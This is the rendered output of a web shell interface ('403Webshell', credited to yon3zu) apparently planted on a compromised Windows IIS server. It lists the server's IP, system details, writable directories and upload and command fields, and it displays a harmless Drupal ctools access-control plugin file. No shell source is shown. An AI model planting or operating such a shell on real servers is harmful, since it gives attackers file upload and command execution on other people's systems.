403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/business/sites/all/modules/ctools/plugins/access/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/business/sites/all/modules/ctools/plugins/access/node_comment.inc
<?php

/**
 * @file
 * Plugin to provide access control based upon node comment status.
 */

/**
 * Plugins are described by creating a $plugin array which will be used
 * by the system that includes this file.
 */
$plugin = array(
  'title' => t("Node: comments are open"),
  'description' => t('Control access by the nodes comment status.'),
  'callback' => 'ctools_node_comment_ctools_access_check',
  'summary' => 'ctools_node_comment_ctools_access_summary',
  'required context' => new ctools_context_required(t('Node'), 'node'),
);

/**
 * Checks for access.
 */
function ctools_node_comment_ctools_access_check($conf, $context) {
  return (!empty($context->data) && $context->data->comment == 2);
}

/**
 * Provides a summary description based upon the checked node_status.
 */
function ctools_node_comment_ctools_access_summary($conf, $context) {
  return t('Returns true if the nodes comment status is "open".');
}

Youez - 2016 - github.com/yon3zu
LinuXploit